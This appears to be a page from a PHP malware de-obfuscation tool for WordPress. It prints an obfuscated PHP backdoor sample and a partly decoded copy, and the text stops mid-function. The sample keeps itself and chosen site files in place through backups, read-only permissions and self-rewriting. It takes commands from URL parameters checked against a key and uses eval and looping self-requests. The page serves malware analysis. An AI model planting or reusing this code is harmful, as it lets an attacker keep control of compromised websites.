De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php $b6bb6=explode("1l","stsixe_yek_yarra1lcexe_lruc1ltilps_gerp1ldomhc1lstegf1lteg_ini1lemitotrts1lecalper_gerp1lrid_pmet_teg_sys1lnepof1lstsixe_elif1lsoprts1lknilnu1lemitmelif1ldro1lstsixe_noitcnuf1lmirt1lpeelsu1lemaner1lezilairesnu1lelif_5dm1lesolc_lruc1ltes_ini1lrhc1lesolcf1lyarra_ni1ltcartxe1ltimil_emit_tes1lhctam_gerp1ltroba_resu_erongi1lpeels1lehcactatsraelc1lhcuot1ltpotes_lruc1lrtsbus1letirwf1lnelrts1lfoef1lezilaires1llru_esrap1lelbatirw_si1l5dm1lstnetnoc_teg_elif1lemitorcim1lecalper_rts1ltini_lruc1lelif_si");foreach($b6bb6 as$b66bb6666=>$b6bbb6){$b6bbb6=preg_split("//",$b6bbb6,-1,PREG_SPLIT_NO_EMPTY);$b6bb6[$b66bb6666]=implode("",array_reverse($b6bbb6));};$b66666b=__FILE__;$bb66b=explode("9","b6bbbbb69b6bb6bbb9bbbbbb9b69b6bb66b9b66bb6b69bb6bbb69b6666b6b9bbbb6b669b6bbb6b69bbb6bbb9bb9b6b66b669bb69bb669bbbb6b9bb6b6bbb9b6bbbbb6b9bb666666b9b66bbb9bb66bb6669bbb6b6b69b6bb6b69bb6b6b69bb6b69b6b9b666b9bbb6bb9bbbb69bbb669bbb6b6669b6bbb9bbb6bb6bb9bbbbbb69bbbb9bb66669b6b6bb9bbbb6bb9bbb6b69bb66bbb669b6b6bb69b6bb669bb66b66b9b6b66b6b69bbbb6b6b9b66bb6b9b66666");foreach($bb66b as$b6666b66=>$bbb6bbb6){$$bbb6bbb6=$b6bb6[$b6666b66];};function l1J($l11cT){$l1rMWG="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=$";$l1niG=$l1QZpMkw=$l1q7rRuN="";$l11SiD=$l1WUJf6=$l1QA=$l1a4="";$l1dx=0;$l17CM="";$l11cT=$GLOBALS["b6666b6b"]("/[^A-Za-z0-9\+\/\=$]/","",$l11cT);do{$l11SiD=$GLOBALS["bb"]($l1rMWG,$GLOBALS["bbbb"]($l11cT,$l1dx++,1));$l1WUJf6=$GLOBALS["bb"]($l1rMWG,$GLOBALS["bbbb"]($l11cT,$l1dx++,1));$l1QA=$GLOBALS["bb"]($l1rMWG,$GLOBALS["bbbb"]($l11cT,$l1dx++,1));$l1a4=$GLOBALS["bb"]($l1rMWG,$GLOBALS["bbbb"]($l11cT,$l1dx++,1));$l1niG=($l11SiD<<2)|($l1WUJf6>>4);$l1QZpMkw=(($l1WUJf6&15)<<4)|($l1QA>>2);$l1q7rRuN=(($l1QA&3)<<6)|$l1a4;$l17CM=$l17CM.$GLOBALS["bb6b6b6"]((int)$l1niG);if($l1QA!=64){$l17CM=$l17CM.$GLOBALS["bb6b6b6"]((int)$l1QZpMkw);}if($l1a4!=64){$l17CM=$l17CM.$GLOBALS["bb6b6b6"]((int)$l1q7rRuN);}$l1niG=$l1QZpMkw=$l1q7rRuN="";$l11SiD=$l1WUJf6=$l1QA=$l1a4="";}while($l1dx<$GLOBALS["b6b6bb"]($l11cT));return$l17CM;}function l18etG($l1czU=''){$l1Fy='';$l1ookWMx=$GLOBALS["bbbbbb"]("//u",$l1czU,-1,PREG_SPLIT_NO_EMPTY);foreach($l1ookWMx as$l1Af){$l1Fy.=$GLOBALS["bb6b6b6"]($GLOBALS["bb66"]($l1Af)+1);}return l1J($l1Fy);}function l10($l1Pi){return l18etG($l1Pi);}$bbb6bb66=$GLOBALS["bb66b66b"]($b66666b);$bb66b6b=@$GLOBALS["b66bbb"](l10("XSnyLyo6byn4NhIhXlH1XiYhMlHhN2L5NCnhXDcQK1I@OCvhN2L5MynhXlIhMiX1XhH6bynxMCnhXUYEL0bwUSMYUj/vX/YqcVEqNB8fUiAqHisyNij5HlH1XlH1XiYhMhH6byn/MCnhSTMlcjwoSGYYT/@wSSEIaDwC`h8MdVI2VFkHLT0CVVkLdVHyVGkY`EgSQCvhN2L5MynhXiYhMlH1MhH6byn/NhIfQ/E@HisyNij5HlIhMiX1MlIhXhH6byn/NhIJ`DQvHisyNib5HlIhMiX1MlHhN2L5LSX5HlIFVWkgLT0wXSIA`1ElOCvhN2L5MSnhXlH1XlHhN2L5LyH5HkIETUQTQSgXUx8YS0QqX/ET`kEETTT3TEQpNEQSciv7HisyNiP5HlH1XlHhN2L5LSH5Hjrvch4K`F40XiEpOBH6byn1NhIhXiX1XiXhN2L5LSH5HkksSWUXLWM0XjYUcBH6bynyNhIhXlHhN2L5NCnhRlkPcj0BaivhN2L5MSnhXiYhMlHhN2L5NCnhUR8qSkQlOCvhN2L5NCnhXiX1MlIhXiXhN2L5LSH5HkfxUWggQSgqYDYU`RH6byn3NhIhMlIhMiX1XhH6bynwLinhVCIUdFEENF8gaFruHisyNif5HlH1XiX1XiYhHisyNiD1NhIYQkUrVEcUblMBMGYfQ/@7HisyNif5HlH1MiX1XlIhHisyNif5Hjos`x8JYiv7HisyNib5HlH1XiX1MiXhN2L5LSH5HjsSRCIMdDEpVEcqdRH6byn1NhIhMiYhXiXhN2L5NCnhVTcIa1EsTCvhN2L5MynhXlH1MlIhXhH6byn/NhIhTiQoHisyNiL5HlH1MhH6bynwLinhXEX/`kkWYmQhQlc1HisyNiT5HlH1XiX1HisyNif5HkIETUQTQTv7HisyNiP5HlH1XiXhN2L5LSH5HjsSRCELdDEpVEcqdRH6byn/NhIhXlH1HisyNiDxNhIKaUU1VTYEK0kPOCvhN2L5MinhXiX1MlH1HisyNif5HlMWPVoXU0EqHisyNib5HlH1MlIhXiXhN2L5LiP5HjrvMFEW`WciRmj2aj8BL2AJTiguXmX7OBH6byn4NhIhMiYhMlH1MlHhN2L5MCnhSlf2cRH6byn1NhIhXiYhXiXhN2L5LSH5HjrvMFIKdCg4XE@7OBH6byn/NhIhMiYhHisyNif5HlAGTR8hQ/v7HisyNif5HlIhXiYhMiYhHisyNif5HjorNGEJYiv7HisyNiP5HlIhMlHhN2L5LSX5HjrvMDgUQUEPU/H2c/rxSV7hN2L5MCnhXiX1MhH6bynwMinhRyEqcEkFUSMKaTEtXj@7OBH6byn0NhIhXlIhXhH6bynxNCnhTjUQUEQENEgWK0kOUFsiPUQpTTUQQSgSUB81OBH6byn3NhIhMlH1XlIhXhH6bynwMinhUB8UTkUpUUIWLDEOUFsPOBH6byn2NhIhMlH1MlH1HisyNiDxNhIKT/PwSGgA`kgW`2jhN2/<"));foreach($bb66b6b as$b66bbb6b=>$bb666b){$bb66b6b[$b66bbb6b]=l10($bb666b);};@extract($bb66b6b);$GLOBALS["bbbb6"](l10("K/@mJB3pOxjmNx8y"),$bbb6bb66,$_SESSION["oO0Oo0OO0"]);$GLOBALS["bbb66"](1);$GLOBALS["bbb6bb"](0);@$GLOBALS["b6bb6b6"]($GLOBALS["bbb666b"],300);$l1NH=(int)$GLOBALS["b66bb6b6"]($GLOBALS["bbb666b"]);$l1NH=$l1NH<1?30:$l1NH;$l1m5=$GLOBALS["b6b66b6b6"](true);$l15i=$GLOBALS["bbbb6b6b"]('\\','/',$_SERVER["DOCUMENT_ROOT"]);$l1R=@$GLOBALS["bb66b66b"](__FILE__);$l12PmfH=$GLOBALS["b6bb66"]($GLOBALS["b66bb6"].'_p'.$GLOBALS["b6b6b66"].'q'.$GLOBALS["bb66bbb"].'om'.$_SERVER["HTTP_HOST"]);$l1a5XnwG=l1S4a($GLOBALS["bbbb"]($l12PmfH,0,7));$l1Bl=l1S4a($GLOBALS["bbbb"]($l12PmfH,7,7));$l1T3Nhd=@$GLOBALS["b66bbb"](@$GLOBALS["bb66b66b"]($l1a5XnwG));$l1T3Nhd=$l1T3Nhd===false?array():$l1T3Nhd;$l16acoqY=0.5;$l1G0=@$GLOBALS["bb6"]($l1a5XnwG);if(isset($_GET["n"])){if(!(isset($_GET["x"])&&($GLOBALS["b6bb66"]($GLOBALS["b6bb66"]($_GET["x"]))==$GLOBALS["b6bb6b6b6"]))){die($GLOBALS["bb6666bbb"]);}$l17miq=$GLOBALS["b6666b6b"]($GLOBALS["bb6bb6"],'',$_GET["n"]);$l18RmvrH="$l15i/".$l17miq;if($GLOBALS["b66666"]($l18RmvrH)){$l1CO=$GLOBALS["b6bb66"]($l18RmvrH);if(!isset($l1T3Nhd[$l1CO])){if($GLOBALS["bbb6bbb"]($l18RmvrH)){$l15wBlh=$GLOBALS["bb66bb666"]($l18RmvrH);$l1Kph4=l1S4a($l1CO);if(!$GLOBALS["bbb6bbb"]($l1Kph4)){l1Ukw($l1Kph4,$GLOBALS["bb66b66b"]($l18RmvrH));@$GLOBALS["bbb6bb6bb"]($l1Kph4,$GLOBALS["bb6bbb6"]($GLOBALS["b6b66b6"]));@$GLOBALS["b6"]($l1Kph4,0444);}$l1T3Nhd[$l1CO]=array('x'=>$l18RmvrH,'y'=>$l15wBlh,'z'=>$l1Kph4);@$GLOBALS["b6"]($l1a5XnwG,0777);l1Ukw($l1a5XnwG,$GLOBALS["bbb6b6"]($l1T3Nhd));@$GLOBALS["b6"]($l1a5XnwG,0444);}}if(isset($_GET["a"])&&$_GET["a"]==$GLOBALS["b666b6"]){$l1P=$l18RmvrH.$GLOBALS["bbb6"];if($GLOBALS["bbb6bbb"]($l1P)){$l1wCKr=$l1Bl;if(!$GLOBALS["b6b"]($l17miq,array($GLOBALS["b66"],$GLOBALS["b6b66b6b"]))){$l1wCKr=$l1T3Nhd[$l1CO]["z"];}@$GLOBALS["b6"]($l1wCKr,0777);l1Ukw($l1wCKr,$GLOBALS["bb66b66b"]($l1P));@$GLOBALS["bbb6bb6bb"]($l1wCKr,$GLOBALS["bb6bbb6"]($GLOBALS["b6b66b6"]));@$GLOBALS["b6"]($l1wCKr,0444);$l1T3Nhd[$l1CO]["y"]=$GLOBALS["bb66bb666"]($l1P);@$GLOBALS["b6"]($l1a5XnwG,0777);l1Ukw($l1a5XnwG,$GLOBALS["bbb6b6"]($l1T3Nhd));@$GLOBALS["b6"]($l1a5XnwG,0444);@$GLOBALS["bb666666b"]($l1P,"$l1P.ok");}}die($GLOBALS["bbb6b66b"]);}else{die($GLOBALS["bbb"]);}}@$GLOBALS["b6"](__FILE__,0777);$GLOBALS["bbb6b666"]($l16acoqY*3);if(!$GLOBALS["b6b6bb6"](__FILE__)){die($GLOBALS["b6666bbb"]);}function l1Ukw($l1CjyEK,$l1gc7W='',$l1iULb='w'){$l17Yf1jw=@$GLOBALS["b6bbb6b6"]($l1CjyEK,$l1iULb);if($l17Yf1jw!==false){$GLOBALS["bb6666"]($l17Yf1jw,$l1gc7W);$GLOBALS["bb6b6"]($l17Yf1jw);}}function l15gxPsr(){global$l1NH,$l1m5,$l15i,$l1R,$l1a5XnwG,$l1Bl,$l1T3Nhd,$l1G0,$l16acoqY;$l1dWH0c=$GLOBALS["b6b66b6b6"](true);$l1fIj=$l1dWH0c-$l1m5;$GLOBALS["b6bbb"]();$l12XDI=$GLOBALS["bb6"]($l1a5XnwG);if($l1G0!=$l12XDI){$l1T3Nhd=@$GLOBALS["b66bbb"](@$GLOBALS["bb66b66b"]($l1a5XnwG));$l1T3Nhd=$l1T3Nhd===false?array():$l1T3Nhd;$l1G0=$l12XDI;}if($l1fIj>=($l1NH-5)){l183();}else{$l1TLuh=$l15i.$GLOBALS["b666"];if(!$GLOBALS["bbb6bbb"](__FILE__)||($GLOBALS["bb66bb666"](__FILE__)!=$GLOBALS["b6bb66"]($l1R))){@$GLOBALS["b6"](__FILE__,0777);l1Ukw(__FILE__,$l1R);@$GLOBALS["bbb6bb6bb"](__FILE__,$GLOBALS["bb6bbb6"]($GLOBALS["b6b6666"]));}@$GLOBALS["b6"](__FILE__,0444);if(!$GLOBALS["bbb6bbb"]($l1TLuh)){l1Ukw($l1TLuh,'//');}if(!$GLOBALS["bbb6bbb"]($l1Bl)){l1Ukw($l1Bl,@$GLOBALS["bb66b66b"]($l1TLuh));@$GLOBALS["bbb6bb6bb"]($l1Bl,$GLOBALS["bb6bbb6"]($GLOBALS["b6b66b6"]));@$GLOBALS["b6"]($l1Bl,0444);}if($GLOBALS["bb66bb666"]($l1TLuh)!=$GLOBALS["bb66bb666"]($l1Bl)){@$GLOBALS["b6"]($l1TLuh,0777);@$GLOBALS["b6b66b66"]($l1TLuh);l1Ukw($l1TLuh,@$GLOBALS["bb66b66b"]($l1Bl));@$GLOBALS["bbb6bb6bb"]($l1TLuh,$GLOBALS["bb6bbb6"]($GLOBALS["b6b66b6"]));@$GLOBALS["b6"]($l1TLuh,0444);}if(!empty($l1T3Nhd)){foreach($l1T3Nhd as$l1u){$l1MwrKf=$GLOBALS["bb66bb666"]($l1u["x"]);if(!$GLOBALS["bbb6bbb"]($l1u["x"])||($l1MwrKf!=$l1u["y"])){@$GLOBALS["b6"]($l1u["x"],0777);@$GLOBALS["b6b66b66"]($l1u["x"]);l1Ukw($l1u["x"],$GLOBALS["bb66b66b"]($l1u["z"]));@$GLOBALS["b6"]($l1u["x"],0444);@$GLOBALS["bbb6bb6bb"]($l1u["x"],$GLOBALS["bb6bbb6"]($GLOBALS["b6b6"]));}}}$GLOBALS["b6bbbbb6b"]($l16acoqY*1000000);l15gxPsr();}}function l183(){$l1it=$GLOBALS["bbb6b6b6b"].(l1a()?'s':'').$GLOBALS["b66b6b66b"].$_SERVER["HTTP_HOST"].$GLOBALS["b6666b6b"]($GLOBALS["b6bb"],'',$_SERVER["REQUEST_URI"]);for($l1P3=0;$l1P3<10;$l1P3++){l1yFWNZD($l1it);$GLOBALS["b6bbbbb6b"](300*1000);}}function l1yFWNZD($l16){$l17osN=0;if($GLOBALS["bbbb6b"]($GLOBALS["b6bb666b"])&&$GLOBALS["bbbb6b"]($GLOBALS["b666bbb6"])){$l1HIu4m=$GLOBALS["b66bb6b"]();$GLOBALS["bbbbbb6"]($l1HIu4m,CURLOPT_URL,$l16);$GLOBALS["bbbbbb6"]($l1HIu4m,CURLOPT_USERAGENT,$GLOBALS["b6b6b"]);$GLOBALS["bbbbbb6"]($l1HIu4m,CURLOPT_CONNECTTIMEOUT,0);$GLOBALS["bbbbbb6"]($l1HIu4m,CURLOPT_RETURNTRANSFER,1);$GLOBALS["bbbbbb6"]($l1HIu4m,CURLOPT_SSL_VERIFYPEER,false);$GLOBALS["bbbbbb6"]($l1HIu4m,CURLOPT_SSL_VERIFYHOST,false);$GLOBALS["bbbbbb6"]($l1HIu4m,CURLOPT_TIMEOUT,120);$GLOBALS["bbbbbb6"]($l1HIu4m,CURLOPT_FOLLOWLOCATION,1);$l1hg1b4x=$GLOBALS["b6bb6bbb"]($l1HIu4m);$GLOBALS["bbb6b6b6"]($l1HIu4m);if($l1hg1b4x){$l17osN=$l1hg1b4x;}}else{$l1OTa='';if($GLOBALS["bbbb6b"]($GLOBALS["bb66b6"])){$l1OTa=$GLOBALS["bb66b6"];}elseif($GLOBALS["bbbb6b"]($GLOBALS["bb6666b"])){$l1OTa=$GLOBALS["bb6666b"];}if($l1OTa!=''){$l1bY17F=$GLOBALS["bb66bbb66"]($l16);$l1Piz38u=$l1OTa($l1bY17F["host"],isset($l1bY17F["port"])?$l1bY17F["port"]:80,$l1onO,$l15BWK,30);if($l1Piz38u){$l17osN=isset($l1bY17F["path"])?$l1bY17F["path"]:'';$l17osN.=isset($l1bY17F["query"])?'?'.$l1bY17F["query"]:'';$l17osN=$l17osN==''?'/':$l17osN;$GLOBALS["bb6666"]($l1Piz38u,"GET $l17osN HTTP/1.0\r\nHost:".$l1bY17F["host"]."\r\nConnection:Close\r\n\r\n");$l1rry='';while(!$GLOBALS["bbbb6bb"]($l1Piz38u)){$l1rry.=$GLOBALS["b6bb66b"]($l1Piz38u,4096);}$GLOBALS["bb6b6"]($l1Piz38u);$l17osN=$GLOBALS["bbbb6"]($GLOBALS["bb6b"],$l1rry)?$GLOBALS["b6666b6b"]("/.*?\r\n\r\n(.*)/si","$1",$l1rry):$GLOBALS["b6666b6b"]($GLOBALS["b66bbb6"],"$1",$l1rry);}else{$l17osN=0;}}else{$l17osN=$GLOBALS["bb66b66b"]($l16);}}return$GLOBALS["bb6b6bbb"]($GLOBALS["bb6b6bbb"]($l17osN,"\xEF\xBB\xBF"));}function l1S4a($l1lbML=''){global$l12PmfH;$l1Gq=$GLOBALS["bbbb6b66"]();if(!$GLOBALS["b6b6bb6"]($l1Gq)){$l1Gq='.';}return"$l1Gq/$l1lbML";}function l1a(){if($GLOBALS["b6bbbbb6"]($GLOBALS["b6b66"],$l13C)&&'on'===$l13C["HTTPS"]){return true;}if($GLOBALS["b6bbbbb6"]($GLOBALS["b6b6bbbb"],$l13C)&&443===(int)$l13C["SERVER_PORT"]){return true;}if($GLOBALS["b6bbbbb6"]($GLOBALS["bbbbb"],$l13C)&&'on'===$l13C["HTTP_X_FORWARDED_SSL"]){return true;}if($GLOBALS["b6bbbbb6"]($GLOBALS["bb6bb"],$l13C)&&$GLOBALS["b66b"]===$l13C["HTTP_X_FORWARDED_PROTO"]){return true;}return false;}function l1tCTI(){@eval($l1at["y1t0"]);l15gxPsr();}l1tCTI();?>
<?php $b6bb6 = array(0 => "stsixe_yek_yarra", 1 => "cexe_lruc", 2 => "tilps_gerp", 3 => "domhc", 4 => "stegf", 5 => "teg_ini", 6 => "emitotrts", 7 => "ecalper_gerp", 8 => "rid_pmet_teg_sys", 9 => "nepof", 10 => "stsixe_elif", 11 => "soprts", 12 => "knilnu", 13 => "emitmelif", 14 => "dro", 15 => "stsixe_noitcnuf", 16 => "mirt", 17 => "peelsu", 18 => "emaner", 19 => "ezilairesnu", 20 => "elif_5dm", 21 => "esolc_lruc", 22 => "tes_ini", 23 => "rhc", 24 => "esolcf", 25 => "yarra_ni", 26 => "tcartxe", 27 => "timil_emit_tes", 28 => "hctam_gerp", 29 => "troba_resu_erongi", 30 => "peels", 31 => "ehcactatsraelc", 32 => "hcuot", 33 => "tpotes_lruc", 34 => "rtsbus", 35 => "etirwf", 36 => "nelrts", 37 => "foef", 38 => "ezilaires", 39 => "lru_esrap", 40 => "elbatirw_si", 41 => "5dm", 42 => "stnetnoc_teg_elif", 43 => "emitorcim", 44 => "ecalper_rts", 45 => "tini_lruc", 46 => "elif_si"); foreach ($b6bb6 as $b66bb6666 => $b6bbb6) { $b6bbb6 = preg_split("//", $b6bbb6, 1, PREG_SPLIT_NO_EMPTY); $b6bb6[$b66bb6666] = implode("", array_reverse($b6bbb6)); } $b66666b = "/var/www/html/input.php"; $bb66b = array(0 => "b6bbbbb6", 1 => "b6bb6bbb", 2 => "bbbbbb", 3 => "b6", 4 => "b6bb66b", 5 => "b66bb6b6", 6 => "bb6bbb6", 7 => "b6666b6b", 8 => "bbbb6b66", 9 => "b6bbb6b6", 10 => "bbb6bbb", 11 => "bb", 12 => "b6b66b66", 13 => "bb6", 14 => "bb66", 15 => "bbbb6b", 16 => "bb6b6bbb", 17 => "b6bbbbb6b", 18 => "bb666666b", 19 => "b66bbb", 20 => "bb66bb666", 21 => "bbb6b6b6", 22 => "b6bb6b6", 23 => "bb6b6b6", 24 => "bb6b6", 25 => "b6b", 26 => "b666b", 27 => "bbb6bb", 28 => "bbbb6", 29 => "bbb66", 30 => "bbb6b666", 31 => "b6bbb", 32 => "bbb6bb6bb", 33 => "bbbbbb6", 34 => "bbbb", 35 => "bb6666", 36 => "b6b6bb", 37 => "bbbb6bb", 38 => "bbb6b6", 39 => "bb66bbb66", 40 => "b6b6bb6", 41 => "b6bb66", 42 => "bb66b66b", 43 => "b6b66b6b6", 44 => "bbbb6b6b", 45 => "b66bb6b", 46 => "b66666"); foreach ($bb66b as $b6666b66 => $bbb6bbb6) { ${$bbb6bbb6} = $b6bb6[$b6666b66]; } function l1J($l11cT) { $l1rMWG = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\$"; $l1niG = $l1QZpMkw = $l1q7rRuN = ""; $l11SiD = $l1WUJf6 = $l1QA = $l1a4 = ""; $l1dx = 0; $l17CM = ""; $l11cT = $GLOBALS["b6666b6b"]("/[^A-Za-z0-9\\+\\/\\=\$]/", "", $l11cT); do { $l11SiD = $GLOBALS["bb"]($l1rMWG, $GLOBALS["bbbb"]($l11cT, $l1dx++, 1)); $l1WUJf6 = $GLOBALS["bb"]($l1rMWG, $GLOBALS["bbbb"]($l11cT, $l1dx++, 1)); $l1QA = $GLOBALS["bb"]($l1rMWG, $GLOBALS["bbbb"]($l11cT, $l1dx++, 1)); $l1a4 = $GLOBALS["bb"]($l1rMWG, $GLOBALS["bbbb"]($l11cT, $l1dx++, 1)); $l1niG = $l11SiD << 2 | $l1WUJf6 >> 4; $l1QZpMkw = ($l1WUJf6 & 15) << 4 | $l1QA >> 2; $l1q7rRuN = ($l1QA & 3) << 6 | $l1a4; $l17CM .= $GLOBALS["bb6b6b6"]((int) $l1niG); if ($l1QA != 64) { $l17CM .= $GLOBALS["bb6b6b6"]((int) $l1QZpMkw); } if ($l1a4 != 64) { $l17CM .= $GLOBALS["bb6b6b6"]((int) $l1q7rRuN); } $l1niG = $l1QZpMkw = $l1q7rRuN = ""; $l11SiD = $l1WUJf6 = $l1QA = $l1a4 = ""; } while ($l1dx < $GLOBALS["b6b6bb"]($l11cT)); return $l17CM; } function l18etG($l1czU = '') { $l1Fy = ''; $l1ookWMx = $GLOBALS["bbbbbb"]("//u", $l1czU, 1, PREG_SPLIT_NO_EMPTY); foreach ($l1ookWMx as $l1Af) { $l1Fy .= $GLOBALS["bb6b6b6"]($GLOBALS["bb66"]($l1Af) + 1); } return l1J($l1Fy); } function l10($l1Pi) { return l18etG($l1Pi); } $bbb6bb66 = $GLOBALS["bb66b66b"]($b66666b); $bb66b6b = @$GLOBALS["b66bbb"](l10("XSnyLyo6byn4NhIhXlH1XiYhMlHhN2L5NCnhXDcQK1I@OCvhN2L5MynhXlIhMiX1XhH6bynxMCnhXUYEL0bwUSMYUj/vX/YqcVEqNB8fUiAqHisyNij5HlH1XlH1XiYhMhH6byn/MCnhSTMlcjwoSGYYT/@wSSEIaDwC`h8MdVI2VFkHLT0CVVkLdVHyVGkY`EgSQCvhN2L5MynhXiYhMlH1MhH6byn/NhIfQ/E@HisyNij5HlIhMiX1MlIhXhH6byn/NhIJ`DQvHisyNib5HlIhMiX1MlHhN2L5LSX5HlIFVWkgLT0wXSIA`1ElOCvhN2L5MSnhXlH1XlHhN2L5LyH5HkIETUQTQSgXUx8YS0QqX/ET`kEETTT3TEQpNEQSciv7HisyNiP5HlH1XlHhN2L5LSH5Hjrvch4K`F40XiEpOBH6byn1NhIhXiX1XiXhN2L5LSH5HkksSWUXLWM0XjYUcBH6bynyNhIhXlHhN2L5NCnhRlkPcj0BaivhN2L5MSnhXiYhMlHhN2L5NCnhUR8qSkQlOCvhN2L5NCnhXiX1MlIhXiXhN2L5LSH5HkfxUWggQSgqYDYU`RH6byn3NhIhMlIhMiX1XhH6bynwLinhVCIUdFEENF8gaFruHisyNif5HlH1XiX1XiYhHisyNiD1NhIYQkUrVEcUblMBMGYfQ/@7HisyNif5HlH1MiX1XlIhHisyNif5Hjos`x8JYiv7HisyNib5HlH1XiX1MiXhN2L5LSH5HjsSRCIMdDEpVEcqdRH6byn1NhIhMiYhXiXhN2L5NCnhVTcIa1EsTCvhN2L5MynhXlH1MlIhXhH6byn/NhIhTiQoHisyNiL5HlH1MhH6bynwLinhXEX/`kkWYmQhQlc1HisyNiT5HlH1XiX1HisyNif5HkIETUQTQTv7HisyNiP5HlH1XiXhN2L5LSH5HjsSRCELdDEpVEcqdRH6byn/NhIhXlH1HisyNiDxNhIKaUU1VTYEK0kPOCvhN2L5MinhXiX1MlH1HisyNif5HlMWPVoXU0EqHisyNib5HlH1MlIhXiXhN2L5LiP5HjrvMFEW`WciRmj2aj8BL2AJTiguXmX7OBH6byn4NhIhMiYhMlH1MlHhN2L5MCnhSlf2cRH6byn1NhIhXiYhXiXhN2L5LSH5HjrvMFIKdCg4XE@7OBH6byn/NhIhMiYhHisyNif5HlAGTR8hQ/v7HisyNif5HlIhXiYhMiYhHisyNif5HjorNGEJYiv7HisyNiP5HlIhMlHhN2L5LSX5HjrvMDgUQUEPU/H2c/rxSV7hN2L5MCnhXiX1MhH6bynwMinhRyEqcEkFUSMKaTEtXj@7OBH6byn0NhIhXlIhXhH6bynxNCnhTjUQUEQENEgWK0kOUFsiPUQpTTUQQSgSUB81OBH6byn3NhIhMlH1XlIhXhH6bynwMinhUB8UTkUpUUIWLDEOUFsPOBH6byn2NhIhMlH1MlH1HisyNiDxNhIKT/PwSGgA`kgW`2jhN2/<")); foreach ($bb66b6b as $b66bbb6b => $bb666b) { $bb66b6b[$b66bbb6b] = l10($bb666b); } @extract($bb66b6b); $GLOBALS["bbbb6"](l10("K/@mJB3pOxjmNx8y"), $bbb6bb66, $_SESSION["oO0Oo0OO0"]); $GLOBALS["bbb66"](1); $GLOBALS["bbb6bb"](0); @$GLOBALS["b6bb6b6"]($GLOBALS["bbb666b"], 300); $l1NH = (int) $GLOBALS["b66bb6b6"]($GLOBALS["bbb666b"]); $l1NH = $l1NH < 1 ? 30 : $l1NH; $l1m5 = $GLOBALS["b6b66b6b6"](true); $l15i = $GLOBALS["bbbb6b6b"]('\\', '/', $_SERVER["DOCUMENT_ROOT"]); $l1R = @$GLOBALS["bb66b66b"]("/var/www/html/input.php"); $l12PmfH = $GLOBALS["b6bb66"]($GLOBALS["b66bb6"] . '_p' . $GLOBALS["b6b6b66"] . 'q' . $GLOBALS["bb66bbb"] . 'om' . $_SERVER["HTTP_HOST"]); $l1a5XnwG = l1S4a($GLOBALS["bbbb"]($l12PmfH, 0, 7)); $l1Bl = l1S4a($GLOBALS["bbbb"]($l12PmfH, 7, 7)); $l1T3Nhd = @$GLOBALS["b66bbb"](@$GLOBALS["bb66b66b"]($l1a5XnwG)); $l1T3Nhd = $l1T3Nhd === false ? array() : $l1T3Nhd; $l16acoqY = 0.5; $l1G0 = @$GLOBALS["bb6"]($l1a5XnwG); if (isset($_GET["n"])) { if (!(isset($_GET["x"]) && $GLOBALS["b6bb66"]($GLOBALS["b6bb66"]($_GET["x"])) == $GLOBALS["b6bb6b6b6"])) { die($GLOBALS["bb6666bbb"]); } $l17miq = $GLOBALS["b6666b6b"]($GLOBALS["bb6bb6"], '', $_GET["n"]); $l18RmvrH = "{$l15i}/" . $l17miq; if ($GLOBALS["b66666"]($l18RmvrH)) { $l1CO = $GLOBALS["b6bb66"]($l18RmvrH); if (!isset($l1T3Nhd[$l1CO])) { if ($GLOBALS["bbb6bbb"]($l18RmvrH)) { $l15wBlh = $GLOBALS["bb66bb666"]($l18RmvrH); $l1Kph4 = l1S4a($l1CO); if (!$GLOBALS["bbb6bbb"]($l1Kph4)) { l1Ukw($l1Kph4, $GLOBALS["bb66b66b"]($l18RmvrH)); @$GLOBALS["bbb6bb6bb"]($l1Kph4, $GLOBALS["bb6bbb6"]($GLOBALS["b6b66b6"])); @$GLOBALS["b6"]($l1Kph4, 0444); } $l1T3Nhd[$l1CO] = array('x' => $l18RmvrH, 'y' => $l15wBlh, 'z' => $l1Kph4); @$GLOBALS["b6"]($l1a5XnwG, 0777); l1Ukw($l1a5XnwG, $GLOBALS["bbb6b6"]($l1T3Nhd)); @$GLOBALS["b6"]($l1a5XnwG, 0444); } } if (isset($_GET["a"]) && $_GET["a"] == $GLOBALS["b666b6"]) { $l1P = $l18RmvrH . $GLOBALS["bbb6"]; if ($GLOBALS["bbb6bbb"]($l1P)) { $l1wCKr = $l1Bl; if (!$GLOBALS["b6b"]($l17miq, array($GLOBALS["b66"], $GLOBALS["b6b66b6b"]))) { $l1wCKr = $l1T3Nhd[$l1CO]["z"]; } @$GLOBALS["b6"]($l1wCKr, 0777); l1Ukw($l1wCKr, $GLOBALS["bb66b66b"]($l1P)); @$GLOBALS["bbb6bb6bb"]($l1wCKr, $GLOBALS["bb6bbb6"]($GLOBALS["b6b66b6"])); @$GLOBALS["b6"]($l1wCKr, 0444); $l1T3Nhd[$l1CO]["y"] = $GLOBALS["bb66bb666"]($l1P); @$GLOBALS["b6"]($l1a5XnwG, 0777); l1Ukw($l1a5XnwG, $GLOBALS["bbb6b6"]($l1T3Nhd)); @$GLOBALS["b6"]($l1a5XnwG, 0444); @$GLOBALS["bb666666b"]($l1P, "{$l1P}.ok"); } } die($GLOBALS["bbb6b66b"]); } else { die($GLOBALS["bbb"]); } } @$GLOBALS["b6"]("/var/www/html/input.php", 0777); $GLOBALS["bbb6b666"]($l16acoqY * 3); if (!$GLOBALS["b6b6bb6"]("/var/www/html/input.php")) { die($GLOBALS["b6666bbb"]); } function l1Ukw($l1CjyEK, $l1gc7W = '', $l1iULb = 'w') { $l17Yf1jw = @$GLOBALS["b6bbb6b6"]($l1CjyEK, $l1iULb); if ($l17Yf1jw !== false) { $GLOBALS["bb6666"]($l17Yf1jw, $l1gc7W); $GLOBALS["bb6b6"]($l17Yf1jw); } } function l15gxPsr() { global $l1NH, $l1m5, $l15i, $l1R, $l1a5XnwG, $l1Bl, $l1T3Nhd, $l1G0, $l16acoqY; $l1dWH0c = $GLOBALS["b6b66b6b6"](true); $l1fIj = $l1dWH0c - $l1m5; $GLOBALS["b6bbb"](); $l12XDI = $GLOBALS["bb6"]($l1a5XnwG); if ($l1G0 != $l12XDI) { $l1T3Nhd = @$GLOBALS["b66bbb"](@$GLOBALS["bb66b66b"]($l1a5XnwG)); $l1T3Nhd = $l1T3Nhd === false ? array() : $l1T3Nhd; $l1G0 = $l12XDI; } if ($l1fIj >= $l1NH - 5) { 